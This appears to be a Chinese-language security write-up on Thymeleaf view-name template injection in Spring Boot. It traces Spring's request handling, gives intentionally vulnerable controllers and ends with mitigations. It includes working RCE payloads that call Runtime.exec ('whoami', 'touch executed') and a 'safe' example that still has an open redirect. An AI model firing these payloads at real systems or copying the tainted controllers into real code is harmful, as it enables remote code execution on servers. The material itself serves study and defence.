0x01 Thymeleaf简介
Thymeleaf是用于Web和独立环境的现代服务器端Java模板引擎。类似与python web开发中的jinja模板引擎。顺便说一句,Thymeleaf是spring boot的推荐引擎
0x02 基础知识
Spring Boot 本身就 Spring MVC 的简化版本。是在 Spring MVC 的基础上实现了自动配置,简化了开发人员开发过程。Spring MVC 是通过一个叫 DispatcherServlet 前端控制器的来拦截请求的。而在 Spring Boot 中 使用自动配置把 DispatcherServlet 前端控制器自动配置到框架中。
例如,我们来解析 /users 这个请求
DispatcherServlet 前端控制器拦截请求 /users
2. servlet 决定使用哪个 handler 处理
3. Spring 检测哪个控制器匹配 /users,Spring 从 @RquestMapping 中查找出需要的信息
4. Spring 找到正确的 Controller 方法后,开始执行 Controller 方法
5. 返回 users 对象列表
6. 根据与客户端交互需要返回 Json 或者 Xml 格式
### spring boot 相关注解
* @Controller 处理 Http 请求
* @RestController @Controller 的衍生注解
* @RequestMapping 路由请求 可以设置各种操作方法
* @GetMapping GET 方法的路由
* @PostMapping POST 方法的路由
* @PutMapping PUT 方法的路由
* @DeleteMapping DELETE 方法的路由
* @PathVariable 处理请求 url 路径中的参数 /user/{id}
* @RequestParam 处理问号后面的参数
* @RequestBody 请求参数以json格式提交
* @ResponseBody 返回 json 格式
### Controller注解
@Controller 一般应用在有返回界面的应用场景下.例如,管理后台使用了 thymeleaf 作为模板开发,需要从后台直接返回 Model 对象到前台,那么这时候就需要使用 @Controller 来注解。
### RequestMapping注解
用来将一个controller添加至路由中
## 0x03 环境配置
https://github.com/veracode-research/spring-view-manipulation/
我们以spring boot + Thymeleaf模板创建一个带有漏洞的项目。核心代码如下
@GetMapping("/path")
public String path(@RequestParam String lang) {
return lang ; //template path is tainted
}
代码含义如下:用户请求的url为path,参数名称为lang,则服务器通过Thymeleaf模板,去查找相关的模板文件。
例如,用户通过get请求 `/path?lang=en` ,则服务器去自动拼接待查找的模板文件名,为 `resources/templates/en.html` ,并返回给用户的浏览器。
上面的代码存在两个问题:
1. 是不是存在任意文件读取?
2. 是不是存在诸如模板注入的漏洞???
## 0x04 模板注入分析
spring boot如何查找controller这块我们不分析,因为对于我们不重要。
spring boot在 `org.springframework.web.servlet.ModelAndView` 方法中,开始处理用户的请求
/**
* This implementation expects the handler to be an {@link HandlerMethod}.
*/
@Override
@Nullable
public final ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler)
throws Exception {
return handleInternal(request, response, (HandlerMethod) handler);
}
随后在 `org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod#invokeAndHandle` 方法中,通过invokeForRequest函数,根据用户提供的url,调用相关的controller,并将其返回值,作为待查找的模板文件名,通过Thymeleaf模板引擎去查找,并返回给用户
/**
* Invoke the method and handle the return value through one of the
* configured {@link HandlerMethodReturnValueHandler HandlerMethodReturnValueHandlers}.
* @param webRequest the current request
* @param mavContainer the ModelAndViewContainer for this request
* @param providedArgs "given" arguments matched by type (not resolved)
*/
public void invokeAndHandle(ServletWebRequest webRequest, ModelAndViewContainer mavContainer,
Object... providedArgs) throws Exception {
Object returnValue = invokeForRequest(webRequest, mavContainer, providedArgs);
setResponseStatus(webRequest);
if (returnValue == null) {
if (isRequestNotModified(webRequest) || getResponseStatus() != null || mavContainer.isRequestHandled()) {
disableContentCachingIfNecessary(webRequest);
mavContainer.setRequestHandled(true);
return;
}
}
else if (StringUtils.hasText(getResponseStatusReason())) {
mavContainer.setRequestHandled(true);
return;
}
mavContainer.setRequestHandled(false);
try {
this.returnValueHandlers.handleReturnValue(
returnValue, getReturnValueType(returnValue), mavContainer, webRequest);
}
}
在函数中,调用 `this.returnValueHandlers.handleReturnValue` 去处理返回结果。最终在 `org.springframework.web.servlet.mvc.method.annotation.ViewNameMethodReturnValueHandler#handleReturnValue` 方法中,将controller返回值作为视图名称。代码如下
@Override
public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType,
ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {
if (returnValue instanceof CharSequence) {
String viewName = returnValue.toString();
mavContainer.setViewName(viewName);
if (isRedirectViewName(viewName)) {
mavContainer.setRedirectModelScenario(true);
}
}
spring boot最终在 `org.springframework.web.servlet.DispatcherServlet#processDispatchResult` 方法中,调用Thymeleaf模板引擎的表达式解析。将上一步设置的视图名称为解析为模板名称,并加载模板,返回给用户。核心代码如下
`org.thymeleaf.standard.expression.IStandardExpressionParser#parseExpression`
final String viewTemplateName = getTemplateName();
final ISpringTemplateEngine viewTemplateEngine = getTemplateEngine();
final IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration);
final FragmentExpression fragmentExpression;
try {
// By parsing it as a standard expression, we might profit from the expression cache
fragmentExpression = (FragmentExpression) parser.parseExpression(context, "~{" + viewTemplateName + "}");
} catch (final TemplateProcessingException e) {
throw new IllegalArgumentException("Invalid template name specification: '" + viewTemplateName + "'");
}
## 0x05 不安全的java代码
#### 第一种:
@GetMapping("/path")
public String path(@RequestParam String lang) {
return lang ; //template path is tainted
}
在查找模板中,引用了用户输入的内容
payload
GET /path?lang=$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d::.x HTTP/1.1
Host: 127.0.0.1:8090
Connection: close
![](https://potatso-1253210846.cos.ap-beijing.myqcloud.com//img20200905220647.png)
#### 第二种
根据spring boot定义,如果controller无返回值,则以GetMapping的路由为视图名称。当然,对于每个http请求来讲,其实就是将请求的url作为视图名称,调用模板引擎去解析。
https://docs.spring.io/spring/docs/current/spring-framework-reference/web.html#mvc-ann-return-types
在这种情况下,我们只要可以控制请求的controller的参数,一样可以造成RCE漏洞。例如我们可以控制document参数
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
}
GET /doc/${T(java.lang.Runtime).getRuntime().exec("touch executed")}::.x
## 0x06 修复方案
### 1. 设置ResponseBody注解
如果设置 `ResponseBody` ,则不再调用模板解析
### 2. 设置redirect重定向
@GetMapping("/safe/redirect")
public String redirect(@RequestParam String url) {
return "redirect:" + url; //CWE-601, as we can control the hostname in redirect
根据spring boot定义,如果名称以 `redirect:` 开头,则不再调用 `ThymeleafView` 解析,调用 `RedirectView` 去解析 `controller` 的返回值
### 3. response
@GetMapping("/safe/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
log.info("Retrieving " + document); //FP
}
由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP Response,因此不会发生视图名称解析
## 0x07 参考
1. https://github.com/veracode-research/spring-view-manipulation/
2. https://www.cnblogs.com/fishpro/p/spring-boot-study-restcontroller.html